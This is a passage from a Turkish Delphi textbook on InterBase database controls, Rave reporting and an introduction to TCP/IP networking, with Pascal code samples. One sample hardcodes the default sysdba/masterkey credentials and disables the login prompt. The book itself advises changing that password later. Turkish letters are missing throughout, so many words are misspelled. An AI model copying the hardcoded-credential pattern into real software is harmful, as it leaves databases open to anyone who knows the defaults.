procedure TForm1.FormCreate(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create();//olutur deger.Add('user_name=sysdba'); deger.Add('password=masterkey'); IBDatabase1.Params :=deger;//aktar IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; IBDatabase1.Connected:=true;//balan IBDatabase1.LoginPrompt:=false; IBTable1.Active:=true;//tabloyu a end; Yukardaki kodlamadan sonra alan login penceresine ifre girmeden tablo bilgilerine ulaabilirsiniz. IBTransaction Kontrol: Network uygulamalarnda Transaction ilemi ok fazla nem arz etmektedir. Bu yzden DataBase balantlarnz iin bu kontrolu kullanmak zorundasnz. IBTransaction1.DefaultDatabase Transactionun uygulanaca database bu zellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IBTransaction1.DefaultDatabase:=IBDatabase1; end;

IBTable Kontrol: Bu kontrol sayesinde InterBase ierisinde yaratlm olan tablolara balanabilir, kaytlarna ulaabilirsiniz. IBTable1.Database Tablolarnzn ierisinde oluturulduu database in bulunduu yer bu zellikle belirlenir.

255

procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1; end; IBTable1.Transaction DataBase ilemlerinde Transactionu gerekletiren kontrol bu zellie aktarlmaldr. Muhakkak eklemeyi unutmayn procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1; IBTable1.Transaction:=IBTransaction1; end; IBTable1.TableName Belirlenen Veri Taban ierisinde balanlacak olan tablo bu zellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1;//bu veri tabann kullan IBTable1.Transaction:=IBTransaction1;//bu transactionu kullan IBTable1.TableName:='ILKTABLO';//bu tabloyu kullan end; InterBase Kontrolleri le Kayt lemleri: imdi sizlere InterBase kontrollerini kullanarak nasl kayt formlar oluturabileceinizi gstereceim. Dorusunu isterseniz bu ilem hite zor deil dier BDE ve ADO ile yaplan ilemlere ok benzerlik gstermektedir. Belirteceim admlar srasyla oluturunuz. Birinci adm formunuzun zerine bir adet InterBase yapranda yer alan IBDatabase kontrol yerletirerek Object Inspector penceresinden DataBaseName zelliine tklayn. Bu zellie tablomuzu ierisinde yaratm olduumuz veritabannn (gdb uzantl dosya) yolunu aktarmak durumundasnz (bizim rneimiz iin bu veri taban c:\gazi\prestige.gdb olarak kaydedilmiti). Ben prestige.gdb veritabannn yolunu gsterdim. 256

kinci admda InterBase yapranda yer alan IBTransaction kontroln srkleyip formunuzun zerine brakn. Object Inspector penceresinden DefaultDataBase zelliine IBDataBase1 kontroln aktarn. nc admda formunuzun zerine InterBase yapranda yer alan IBTable kontrolnden bir adet srkleyip brakn. Object Inspector penceresinde yer alan DataBase zelliine IBDataBase1 ve Transaction zelliine IBTransaction1 kontroln aktarn (Bu zellii belirlemeden TableName zelliine tablo belirleyemezsiniz). Drdnc admda IBTable kontrolne ait TableName zelliine yaratm olduunuz tablonuzun ismini aktarn (SERVIS). Table Name zelliine tkladnz zaman size ifre soracaktr. ayet deitirmediyseniz SYSDBA ve masterkey deerlerini girebilirsiniz. Beinci admda DataAccess yapranda yer alan DataSource kontroln formunuzun zerine brakn. Object Inspector penceresinden DataSet zelliine IBTable1 kontroln aktarn. Altnc admda DataControls yapranda yer alan DBGrid kontroln formunuzun zerine alarak, DataSource zelliine DataSource1 deerini aktarn. Yedinci Admda DataControls yapranda yer alan DBNavigator kontroln formunuzun zerine brakp DataSource zelliine DataSource1 deerini aktarn. Son olarak tasarmn aadaki hale getirip uygulamanz altrn. Program al annda ifre isteyecektir(Deitirmediyseniz SYSDBA ve masterkey deerlerini girebilirsiniz).

DBNavigator kontroln kullanarak kayt ile ilgili tm ilemleri aynen BDE kontrolleriyle alyormu gibi gerekletirebilirsiniz. imdide btn ilemlerimizi kodla yapacamz bir uygulama gelitirelim. Aadaki tasarm oluturup gerekli kodlar Unit pencerenize ekleyiniz.

257

Gerekli balantlar daha nce anlatld ekilde gerekletirip, ardndan aadaki kodlar formunuza ekleyiniz. procedure TForm3.Button1Click(Sender: TObject); //lk Kayt begin IBTable1.First; end; procedure TForm3.Button2Click(Sender: TObject); //nceki Kayt begin if not IBTable1.Bof Then //lk Kayt Deilse IBTable1.Prior; end; procedure TForm3.Button3Click(Sender: TObject); //Sonraki Kayt begin if not IBTable1.Eof Then IBTable1.Next; end; procedure TForm3.Button4Click(Sender: TObject); //Son Kayt begin IBTable1.Last; end; 258

procedure TForm3.Button5Click(Sender: TObject); //Kayt Ekle begin IBTable1.Insert; end; procedure TForm3.Button6Click(Sender: TObject); var sil:Integer; begin sil:=Application.MessageBox('Silinsinmi','Sil',MB_YESNO); if sil=mryes Then begin IBTable1.Delete; ShowMessage('Kayt Silindi'); end else ShowMessage('Silma lemi ptal Edildi'); end; procedure TForm3.Button7Click(Sender: TObject); //Uygula begin IBTable1.Post; end; procedure TForm3.Button8Click(Sender: TObject); //ptal Et begin IBTable1.Cancel; end; procedure TForm3.Button9Click(Sender: TObject); //Gncelle begin IBTable1.Refresh; end; procedure TForm3.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then//Enter tuuna basarsa begin ara:=IBTable1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if not ara Then ShowMessage('Kayt Bulunamad'); 259

end; end; procedure TForm3.Edit2Change(Sender: TObject); //Filtrele begin IBTable1.Filter:='MAGAZAADI='+QuotedStr(Edit2.Text); IBTable1.Filtered:=true; end; procedure TForm3.Button10Click(Sender: TObject); //Filtreyi ptal Et begin IBTable1.Filtered:=false; end;

Uygulamay altrdktan sonraki ekran grnts yukarda verilmitir. Neredeyse kullanabileceiniz genel komutlarn tamam verilmeye allmtr.

260

IBQuery Kontrol: Bu kontrol sayesinde InterBase veri taban ierisinde oluturmu olduunuz tablolar kolayca sorgulayabilirsiniz. BDE Kontrolleri ierisinde yer alan Query kontrolne benzer bir mantkla almaktadr. Aada bu kontrole has zellikle verilmektedir. IBQuery1.Database Sorgulayacanz tablonun ierisinde yer ald veri tabann aktarabileceiniz zelliidir. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; end; IBQuery1.Close IBQuery kontroln kapatan methoddur. Bu ilemden sonra bal olan tm kontrollerdeki kaytlar temizlenecektir. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Close; end; IBQuery1.Open IBQuery kontrolne ait sorgu komutlarn aktifletiren methoddur. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Open; end; IBQuery1.Transaction Transaction ilemi iin kullanlacak olan kontrol atayacanz zelliidir. Zorunlu olduunu unutmaynz.

261

procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; end; IBQuery1.SQL.Add Tabloyu sorgulayacak olan SQL komutlarn belirleyeceiniz methoddur. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; IBQuery1.Close; IBQuery1.SQL.Add('Select * From SERVIS'); IBQuery1.Open; end; InterBase Tablolarn Parametre le Sorgulamak: Uygulamalarda ou durumda kullancnn istedii kaytlar listelemek durumunda kalacaksnz. Bu yzden programn ierisinde kullanacanz bir veya daha fazla parametre deerini sorgu parametresi olarak tabloya gndermek zorunda kalacaksnz. IBQuery1.SQL.Clear Daha nce yaratlm olan tm parametreleri temizlemek iin kullanlan methoddur. Bu komutun yerine Close u kullanamazsnz nk Close methodu Query yi kapatr, parametreleri temizlemez. IBQuery1.Params[] Sorgu sonucu yaratlan parametrelere deer gndermek iin kullanlan methoddur. lk parametrenin index numaras 0 ikincininse 1 dir. procedure TForm4.Button1Click(Sender: TObject); begin IBQuery1.SQL.Clear; IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); 262

IBQuery1.Params[0].AsString:=Edit1.Text; IBQuery1.Open; end; Parametre gnderme ilemini daha iyi anlamak iin aadaki tasarm oluturup, uygun olan kodlar formunuza ekleyiniz.

procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; IBQuery1.Close; IBQuery1.SQL.Add('Select * From SERVIS'); IBQuery1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin IBQuery1.SQL.Clear; IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); IBQuery1.Params[0].AsString:=Edit1.Text; IBQuery1.Open; end; Program altrdktan sonra Edit kutusuna listelemek istediiniz maaza ismini girip Button kontrolne tklaynz. Sadece yazm olduunuz maaza ismine ait servis kaytlarnn listelendiini greceksiniz. En son form grnts aada verilmitir.

263

InterBase Kontrolleri Kullanarak Master Detail Form Oluturmak: Daha nce BDE ve ADO kontrolleriyle gerekletirdiimiz Master-Detail form yapsn InterBase kontrollerini kullanarak oluturacaz. Aadaki admlar izleyiniz. Formunuzun zerine bir adet IBDatabase kontrol yerletirip DataBaseName zelliine c:\gazi\prestige.gdb dosyasn aktarn (daha nceki blmde oluturduumuz InterBase veritaban). kinci admda formunuza bir adet IBTransaction kontrol yerletirerek DefaultDataBase zelliine IBDataBase1 kontroln aktarn. nc adm formunuza bir adet IBTable kontrol yerletirerek DataBase zelliine IBDataBase1, Transaction zelliine IBTRansaction1 ve TableName zelliinede MAGAZA (ifre soracaktr sysdba ve masterkey deerlerini girin) ismini aktarn. Drdnc admda DataAccess yapranda yer alan DataSource kontrolnden bir adet formunuza srkleyip, DataSet zelliine IBTable1 kontroln aktarn. Beinci admda DataControls yapranda yer alan DBGrid kontroln formunuzun zerine srkleyip DataSource zelliine DataSource1 deerini giriniz. Altnc admda IBTable kontroln seip Active zelliini true yapn. Bu admla master tabloya ait tm ilemleri yapm olduk. Buradan sonraki ksmda ise Detail (SERVIS) tablosuna ait ilemleri gerekletireceiz. Yedinci admda formunuza ikinci bir IBTable kontrol yerletirin. Bu kontrole ait DataBase zelliine IBDataBase1, Transaction zelliine IBTransaction1 ve TableName zelliine SERVIS ismini aktarnz.

264

Sekizinci admda formunuza DataSource2 nesnesi yerletirerek DataSet zelliine IBTable2 kontroln aktarnz. Dokuzuncu admda formunuza ikinci bir DBGrid nesnesi yerletirerek DataSource zelliine DataSource2 kontroln aktarnz. Onuncu admda IBTable2 kontroln seip MasterSource zelliine DataSource1 deerini aktarp MasterFields zelliine tklayn. Aadaki pencere alacaktr.

likilendirilecek olan tablolardaki iki stunu (MAGAZAADI) seip Add dmesine tklaynz. likiniz Joined Fields listesine eklenecektir. imdi iki tablo iin kayt ilemlerini gerekletirmek zere formunuza iki adet DBNavigator kontrol yerletiriniz. Birinci DBNavigator kontrolnn DataSource zelliine DataSource1, ikinci DBNavigator kontrolnn DataSource zelliinede DataSource2 kontrollerini aktarn. Son olarak iki adet IBTable kontrolnn Object Inspector penceresinden Active zelliklerine true deerini aktararak uygulamanz altrabilirsiniz. Adm adm gerekletirdiimiz ilemlerin tamamn Unit penceresinden de kodla halledebilirsiniz. Tercih tamamen programcya kalmtr. Burada yeri gelmiken bir hatrlatma yapalm. ki tabloya balanmamza ramen tek IBDataBase ve yine tek IBTransaction kontrol kullandk. Doru bir karardr, her tablo iin yeni bir IBDataBase kontrol yerletirmenize gerek yoktur. Uygulamanz altrdktan sonraki ekran grntnz aada verilmitir.

265

stteki tabloda yer alan kaytlar zerinde gezinti yaptnz zaman alttaki tablo bu iten otomatik olarak etkilenecek, o maazaya ait servis kaytlarn listeleyecektir. BDE Kontrolleriyle InterBase Veri Tabanna Balanmak: Dilerseniz InterBase Veri Taban ierisinde oluturduunuz tablolara BDE Kontrollerini kullanarak ta balanabilirsiniz. Bu ilemi yapabilmeniz iin Start>Settings->Control Panel->BDE Administrator admlarn izleyerek alias nz tanmlamalsnz. Ardndan bu aliasa veri tabannzn bulunduu yolu dosya ismiyle beraber atamalsnz (SERVERNAME zelliine c:gazi\prestige.gdb). Bu aamadan sonra formunuza ekleyeceiniz BDE yapranda yer alan Table, DataSource ve DBGrid kontrollerini kullanarak InterBase tablolarnza kolayca balanabilirsiniz. Formunuza bir adet BDE yapranda yer alan Table nesnesi srkleyip brakn. Ardndan bu kontrole ait DataBaseName zelliine InterBase tablolarnn yer ald veritabann referans gsteren aliasnzn ismini atayn. kinci admda ayn kontrole ait TableName zelliine tklayarak (ifre soracaktr sysdba ile masterkey deerlerini girin) balanacanz tabloyu sein (biz MAGAZA tablosunu setik).

266

nc admda formunuza bir adet DataSource kontrol srkleyerek DataSet zelliine Table1 kontroln aktarn. Son olarak formunuza bir adet DBGrid ile bir adet DBNavigator kontrol ekleyerek DataSource zelliklerini DataSource1 yapn. Tablonuzun Active zelliini true yaptktan sonra uygulamanz altrnz.

Grdnz ekilde InterBase tablolarna BDE Kontrolleriyle de basite balanabilirsiniz. Dier ilemler aynen geerli olacaktr. SYSDBA Kullancsna Ait ifreyi Deitirmek: InterBase Veri Taban ile almaya karar verdiiniz zaman ilk yapmanz gereken ilem ynetici ifresini deitirmek olmaldr. InterBasei kurduunuz zaman Kullanc ad sysdba ifreside masterkey olarak belirlenmektedir. Btn bilgisayarlarda ayn ifre kullanld iin kesinlikle deitirilmelidir (yoksa herkes ayn yetkiyle program kullanabilir). Ynetici ifresini deitirebilmek iin aadaki admlar izlemelisiniz. InterBase Server i altrp IBConsol seeneini tklayn. Local Server zerinde mousun sa tuuna tklayarak Login seeneini sein. ifre soracaktr sysdba ile masterkey deerlerini srasyla girin. VeriTabannz zerinde mousun sa tuuna tklayarak Connect seeneini sein. Veri Tabannza ait tm seenekler listelenecektir. Bu seenekler ierisinde yer alan Users blmne tklarsanz aadaki pencere ile karlarsnz.

267

Solda yer alan pencereden Users seeneini seerseniz InterBase tablolarna eriebilecek olan tm kullanclar listeleyebilirsiniz. Henz baka hibir kullanc tanmlanmad iin bu blmde sadece SYSDBA kullancs tanml olarak gzkecektir. Tablolar sadece bu kullancnn aabilmesinin sebebi budur. imdi bu kullancy seip mousun sa tuuna tklayn aada gsterildii gibi basit bir men alacaktr.

Alan pencereden Modify User seeneini seerek bu kullancya ait ifreyi deitirebileceimiz aadaki pencerenin almasn salayn (Add User i seerseniz yeni bir kullanc yaratrsnz, bu husus birazdan anlatlacaktr).

268

Alan bu pencerede dilediiniz kadar yeni kullanc yaratabilirsiniz. Bu ekilde tm kullanclar yarattklar tablolara (veya view procedure) balanacaktr.

User Name ksmndan SYSDBA kullancs seiliyken Password ve Confirm Password kutularna yeni ifrenizi giriniz (ikiside ayn olacak). Apply dmesine tklayarak yeni ifreyi onaylayn. Yaptmz ilemin sonucunu grmek iin yeni ifrenizle (kullanc ad yine sysdba olacak) Delphi uygulamasndan tablolarnza balanmay deneyin. Yeni Kullanclar Tanmlamak: Yeni yaratacanz kullanclarla oluturacanz tablolarn tm yetkisi kendisinde olaca iin farkl kullanc isimleriyle deiik tablolar yaratmak balant ilemleri iin nem arz edecektir. Bu ekilde herkes kendisi ile ilgili tablolara eriip gerekli deiiklikleri yapabilecektir. Aada yeni kullanclar nasl tanmlayabileceiniz gsterilmektedir. Yukardaki ekranda Users seili iken Server->User Security seeneklerini izleyin. Ayn pencere alacaktr. Bu pencerede yeni kullanc adn ifresini ve kullancy tantacak bilgileri girebilirsiniz. NDEMIRLI kullancs yaratldktan sonraki IBConsol grnts aada verilmitir.

269

270

BLM 10 RAVE KONTROLLER LE RAPOR DOSYASI OLUTURMAK

271

272

Rave Kontrollerini Kullanarak Rapor Oluturmak: Daha nceki blmlerde QuickRep kontrollerini kullanarak rapor oluturmay gstermitik. Bu blmde Yeni versiyonla gelen (hakikaten ok kuvvetli olduunu syleyebilirim) ve byk olaslkla QuickRep kontrollerinin pabucunu dama atacak bir yap ile ilgileneceiz. Rave kontrolleri ile ok kolay ve estetik raporlar oluturmanz mmkn. Bilhassa wizard yn ok gl, neredeyse hi kod kullanmadan her trl rapor kts alabilmekteyiz. Aadaki admlar izleyerek Rave kontrolleriyle rapor dosyalar oluturabilirsiniz. Birinci admda formunuzun zerine yazdracanz tablo bilgilerine ulamak iin BDE yapranda bulunan Table (dier kaynaklarda kullanabilirsiniz) kontroln srkleyin. DataBaseName (gazi) ve Table Name (servis) zelliklerine tablonuza ait bilgileri girin. kinci admda formunuza Rave yapranda yer alan RvDataSetConnection kontroln srkleyin (bu kontrol rapor ile tablo arasndaki balanty salayacak). Bu kontrole ait DataSet zelliine table nesnenizi aktarn (yazdrlacak kaytlar belirlendi). nc admda Tools->Rave Designer seeneklerini seerek raporun tasarmn oluturacanz aadaki pencereyi atrn.

Rapor dosyasna ait tasarm bu ekranda oluturacaz (yine bir ounu kendisi yapacak). 273

Rave Report 5.0 penceresi akken File-New DataObject men admlarn izleyerek aadaki pencerenin almasn salayn.

Data Connections penceresi ierisinde Direct Data View seeneini seerek Next dmesine tklayn. Aadaki pencere alacaktr.

Bu pencere tablo kaytlarn gsteren RvDataConnection nesnelerini (forma alnan) listeleyecektir. Siz ilgili olan (birden fazlada olabilirdi) RvDataConnection seeneini seerek Finish dmesine tklayn. Finish dmesine tkladktan sonra Rave Reports 5.0 penceresine tekrar dneceksiniz. Bu pencerenin sa tarafnda yer alan RaveProject blmne dikkat edin. Alt admlarnda yer alan DataView Dictionary seeneine tklayarak DataView1 sekmesini de atrn.

274

Yapm olduunuz balant sonucunda tablonuzda yer alan tm stun balklar bu pencerede listelenecektir.

mdi Tools->Report Wizard->Simple Table men admlar izleyerek aadaki pencereyi atrn.

Simple Table penceresi balant kuracanz tablo kaytlarn belirlemenizi salayacak olan ekrandr. Birden fazla Table ile balant salayabileceiniz iin bu pencerede ki DataView seenekleri fazla olabilir. Kaytlarnzn gsterildii DataView seeneini seerek Next dmesine tklayn. Aadaki pencere alacaktr. Bu pencereden raporunuzda gstermek istediiniz stunlarn isimlerini semenizi isteyecektir. All dmesine

275

tklayarak tamamn veya teker teker stun isimlerine tklayarak dilediiniz stunlar raporunuzda gsterebilirsiniz.

Next dmesine tklayarak bir sonraki adma gein. Aadaki pencere alacaktr. Bu pencereden stunlarnzn rapor zerindeki yerlerini ayarlayabilirsiniz.

Pencerenin st ksmnda yer alan ok tlaryla stun balklarnz yukar veya aa doru hareket ettirebilirsiniz. Next dmesine tklayarak bir sonraki aamaya geiniz. 276

Aadaki pencere alacaktr. Bu pencereden Raporunuzun bal ile sayfa kenar boluklarn ayarlayabilirsiniz.

Next dmesine basarak bir sonraki adma gein. Aadaki pencere alacaktr. Bu pencereden raporunuza ait blmler iin biim ayarlarn yapabilirsiniz (Her blm iin farkl olabilir).

Balk ayarlarn Title Font ksmndan stun etiket isimlerini Caption Font ksmndan ve kaytlarnzla ilgili font ayarlarn Body

277

Font ksmndan yaparak Generate dmesine tklayn. Rapor tasarmnz Rave Reports penceresinde oluacaktr.

Son adm olarak oluturduunuz bu raporu File->Save menlerini izleyerek kaydedin. Bu dosyalar rav uzantl olarak saklanacaktr (Oluturduunuz bu dosyay projenizin bulunduu klasrn ierisine kaydederseniz,programnz dier bilgisayarlara yklediiniz zaman oluabilecek problemlerin bir ounu halletmi olacaksnz). Programdan Rapor Dosyalarna Ulamak: Delphi uygulamalarndan oluturmu olduunuz rav uzantl rapor dosyasna ulamak iin Rave yapranda yer alan RvProject kontrolne ait Execute methodundan faydalanmalsnz. Aada bu admlar srasyla anlatlmaktadr. Birinci admda formunuza bir adet Rave yapranda yer alan RvProject kontrol yerletirin. kinci admda bu kontrole ait ProjectFile zelliine tklayarak daha nce kaydetmi olduunuz rav uzantl dosyay bulun. Son adm olarak aadaki kod satrn formunuza eklemi olduunuz button kontrolnn OnClick yordamna ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Yazdr Penceresini A begin RvProject1.Execute; end; 278

imdi uygulamanz altrn. Button kontrolne tklarsanz Yazdrma ilemini yaptracak olan aadaki Output Options penceresi alacaktr.

Output Options penceresinde Print i iaretleyip OK basarsanz raporunuz yazcya gnderilecektir. ayet bask nizleme ekranna ulamak isterseniz, o zaman Preview seeneini seerek OK buttonuna tklaynz. Ekran grntnz aadaki ekilde gerekleecektir.

279

Stun Deerleri le Hesap Yapmak: Yukarda oluturduumuz rapora ait saysal stun deerleriyle matematiksel hesaplar yapabilirsiniz. Aada bu husus adm adm izah edilmektedir. Birinci admda raporunuza Report yapranda yer alan BandComponent kontrolnden bir adet yerletirin. Band1 ismiyle raporunuza dahil olacaktr. Mous ile bu band seip zellikler penceresinden BandStyle zelliine tklayn aadaki pencere alacaktr.

Band Style Editor penceresinde Body Footer CheckBox n iaretleyerek OK dmesine basnz. Bu admda Report yapranda yer alan Calc Text Component kontrolnden bir adet bu bandn zerine izin. Calc Text Component kontrolne ait zellikler penceresinden DataView zelliine DataView1 kontroln, DataField zelliine de FATURATUTARI stununu aktarn. Son olarak Calc Text Component kontrolne ait Controller zelliine DataView1DataBand deerini aktarn. Son zellik hangi banda ait olduunu belirlemek iin ayarland. Artk uygulamanz altrabilirsiniz. Button kontrolne tkladnz zaman oluacak rapor grntnz aada verilmitir.

280

Grld gibi FATURATUTARI stununa ait hcre deerleri toplanp eklemi olduumuz yeni bileende kullancya gsterilmitir. Hesaplanan Stunlara Ait Biimlendirme lemleri: Yukardaki raporda dikkat etiyseniz parasal bir hesap ilemi yaptrld, fakat sonu hi anlalr deil. Bu yzden imdi gerekletireceimiz yntemle bu deeri parasal formatta yazdracaz. Birinci admda Standart yaprakta yer alan bir adet Text Component kontroln toplam aldrlan kontroln soluna yerletirerek Text zelliine Toplam Fatura Tutar ieriini aktarn (etiket grnts iin yapld). kinci admda Calc Text Component kontroln seip DisplayFormat zelliine ###,###,### TL ieriini aktarn. Kontrolnzn ierii parasal formata dnecektir. Yapm olduunuz tm deiikliklerden sonra, File->Save komutunu verip deiikliklerin rav uzantl dosyanza yansmasn salaynz. Aksi takdirde sonular istediiniz gibi olumayacaktr. Program altrp Yazdr dmesine tklarsanz rapor grntnz aadaki ekilde, parasal deerlerin formatlanm halde olutuu bir grnt halini alacaktr.

281

Calc Text Component Kontrol ile Yaplabilecek Dier Hesaplamalar: Stun toplamn aldrdnz bu kontrol ile tm stun deerleriyle ilgili ortalama - max-min-Count ilemlerini de yaptrabilirsiniz. Calc Text Component kontroln seip Calc Type zelliine tklarsanz dier seeneklerine ulaabilirsiniz. Tm seenekler aada tablo halinde verilmitir.
Calc Type ctSum ctCount ctMax ctMin ctAverage Satr Sysn Hesaplar Studa Yer Alan Maximum Deeri Hesaplar Studa Yer Alan Minimum Deeri Hesaplar Stun Deerlerinin Ortalamasn Hesaplar lem Stuna Ait Toplam Deeri Hesaplar

Kaytlar Alt izili Hale Getirmek:

Drawing yapranda yer alan Hline kontroln kullanarak kaytlarnzn altna izgi ekebilirsiniz. 282

Bu kontrolden bir adet DataView1DataBand stununa izip uygulamanz altrnz.

Stun balklarnn altnda yer alan izgi nin LineWidth deeri 3 yapld iin daha kaln baslmaktadr. Koula Uyan Kaytlarn Raporunu Oluturmak: Bir ok durumda tabloda yer alan kaytlarn tamamn deilde belirttiiniz kritere uyan kaytlar raporlamak isteyeceksiniz (mesela sadece migros maazasna ait kaytlar listele vs). Bu tip durumlar iin Query kontroln (veya Stored Procedure) kullanmak en uygun yntem olacaktr. imdi sizlere adm adm koullu rapor oluturma ilemini anlatacam. Birinci admda formunuza bir adet BDE yapranda yer alan Query kontrol yerletirin. kinci admda Query kontrolnzn DataBaseName zelliine tablonuzun yer ald aliasn ismini aktarn (gazi) nc admda Query kontrolne ait SQL zelliine Object Inspector penceresinden aadaki sorgu komutlarn aktarn. 283

Drdnc admda formunuza Rave yapranda yer alan RvDataSetConnection kontrolnden bir adet srkleyip DataSet zelliine Query1 kontroln aktarn. Beinci admda Tools->Rave Designer men admlarn izleyerek Rave Reports penceresini atrn. Altnc admda File->New Data Object menlerini izleyerek daha nce nceki rnekte am olduumuz DataConnections penceresine ulan. Yedinci admda Direct Data View seeneini seerek bir sonraki pencereye gein. Sekizinci admda yeni alan pencereden RvDataSetConnection ismini seerek Finish dmesine basn. Tm stun isimlerinizin listeye eklenmi olmas gerekecektir. Dokuzuncu admda Tools->Report Wizard->Simple Table seeneklerini izleyerek Simple Table penceresinde yer alan DataView ismini seip bir sonraki adma geiniz. Onuncu admda, alan yeni pencereden raporunuzda yer almasn istediiniz stunlar semeniz gerekecektir. Seip bir sonraki pencereyi atrn (tm stunlar seebilirsiniz). Onbirinci admda, alan yeni pencereden stun yerlerinizi belirleyip bir sonraki pencereyi atrn. Onikinci admda rapor balnz ile sayfa kenar boluklarn ayarlayp bir sonraki pencereye ulanz. On nc admda, alan yeni pencereden daha nce gsterildii ekilde font ayarlarnz yaparak Generate dmesine basnz. Raporunuzun rav uzantl dosyas oluturulmu oldu. Kaydedebilirsiniz. File->Save menlerini izleyerek dosyanz kaydedin.

284

On beinci admda formunuza bir adet Rave yapranda yer alan RvProject kontrol yerletirerek FileName zelliine kaydettiiniz rav uzantl dosyann yerini gsterin. On altnc admda Query kontroln seip Active zelliini true yapn. Son Olarak aadaki tasarm oluturup gerekli kodlar Unit pencerenize ekleyiniz.

procedure TForm1.Button1Click(Sender: TObject); begin Query1.SQL.Clear; Query1.sql.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text; Query1.Open; RvProject1.Execute;//Raporu a end;

Program altrp Edit kutusuna MIGROS yazp button kontrolne tklayn. Sadece MIGROS maazasna ait kaytlar raporunuzda gzkecektir. 285

286

BLM 11 NETWORK PROGRAMCILII

287

288

Network Programclna Giri: Bu Blmde a uygulamalar zerinde durulup gerekli aklamalar yaplacaktr. Gnmzde kk lekli firmalar bile irket ii kullanmlar iin network ortamndan faydalanmaktadr. Dolaysyla bir kullancnn girdii bilgi dier bilgisayar tarafndan annda kullanlmak istenmektedir. Bu tip durumlar iin a destei olan, port ilemlerini (dinleme veya gnderme) yapabilen uygulamalar gelitirmek zorunda kalacaksnz. Amacmz sizlere bahsettiimiz konularda yardmc olmaktr. Bilgisayarlarn birbirleriyle haberleebilmeleri iin (insanlarn da yle deilmidir) ortak kullanabilecekleri bir dile ihtiya duyarlar. Bu olaya ortak protokol kullanm ismini veriyoruz. Protokoller ierisinde Internet (buda en byk a ortamdr) tede kullanlabilen TCP/IP en popler olandr. Giden veri ile kaynak arasnda kyaslama yapt iin biraz ar ama gvenli bir protokoldr. Internetin de tek kullanabildii protokol budur. O zaman yle bir teori gelitirebiliriz, yapacanz uygulamalarda TCP/IP protokolnden faydalanan kontrolleri kullanrsanz, uygulamanz internet zerinden de altrabilirsiniz. Dier protokoller den (UDP vs) TCP/IP ye gre daha hzl fakat gvenli olmayan bir protokoldr. Bizim uygulamalarmzda internet te dnld iin tamam TCP/IP protokoln kullanan nesneler tarafndan gerekletirilecektir. Ayn ilemi dier protokollerle gerekletiren seenekleriniz olacak, onlar zme ilemini de sizlere brakyoruz (sonuta kullanlan mantk ayn olacaktr). A destei olan programlarda dikkat edeceiniz hususlar bulunmaktadr. Bunlardan birincisi kaytlarla ilgili ilemlerinizi muhakkak transaction kullanarak gerekletirin. Size ar derecede gvenlik salayacaktr. kincisi farkl nesnelerle ayn port zerinden kesinlikle ilem yaptrmayn (eninde sonunda sknt yaayacaksnz). ncs eer gerekmiyorsa Server zerinden OnLine almayn (bu size hz kazandracaktr). Drdncs, ayet uyglamanz internete alacaksa muhakkak STATIC IP numaras aldrn (internet servis salaycnza bavurmanz yeterli olacaktr). TCP/IP Kullanarak gelitireceiniz uygulamalar internet zerinden (statik ip nin bulunmad durumlarda) arkadanzla deneyecekseniz, yapmanz gereken ilem internete balandktan sonra dier telefonla (tabi varsa, yoksa cebinizi kulann) arkadanza IP numaranz bildirmek olmaldr. Yetki sorununu ap dier bilgisayarn IP numarasn da biliyorsanz o bilgisayara yapamyacanz hi bir ilem yok demektir. Kendi makinenizmi gibi kullanabilirsiniz (bu husus rneklendirilecektir).

289

TCP/IP Protocollerine Genel Bir Bak: Bu blmdeki amacm sizlere network dersi anlatp cannz skmak deil, Network hususunda bilgili deilseniz direk dier konulara geebilirsiniz. ayet network programcs olacam biraz bilgim artsn diyorsanz o zaman izahatlarma biraz kulak vermenizi neririm. TCP/IP ana hatlaryla iki adet protokolden olumaktadr (alt ufak protokoller hari). Birincisi TCP olarak adlandrdmz Transmission Control Protocol, ikincisi ise IP olarak adlandrdmz Internet Protocol nden ibarettir. imdi sizlere bu protokollerin ana mant hususunda bilgi vermeye alacam. Bilgisayarlar aras veri transferi ileminde sreklilii, bilgi veya donanm paylamn salamak zere oluturulan network-a ortamlarnda iletiim protokol olarak adlandrlan yazlmlarla salanmaktadr. TCP/IP veri transferine olanak salayan pek ok alt protokol ierisinde barndran bir takm ada gibidir. Gerek internet ortamnda (WAN-Wide Area Network), gerekse yerel a (LAN Local Area Network) yapsnda geni bir kullanm alanna sahip olup tabiri caizse gnmz dnyasnda insanlar aras iletiimde ingilizce nin stlendii roln bir benzerini, bilgisayarlar aras iletiimde stlenmektedir. TCP/IP ile konfigrasyonu yaplm bir a ortamnda , bilgisayarlarn tanmlanabilmesi iin u zelliklerin bilinmesi yeterli olacaktr. Bilgisayarn Ad Bilgisayarn MAC Adresi Bilgisayarn IP Adresi Bilgisayarn Subnet Mask

deeri,

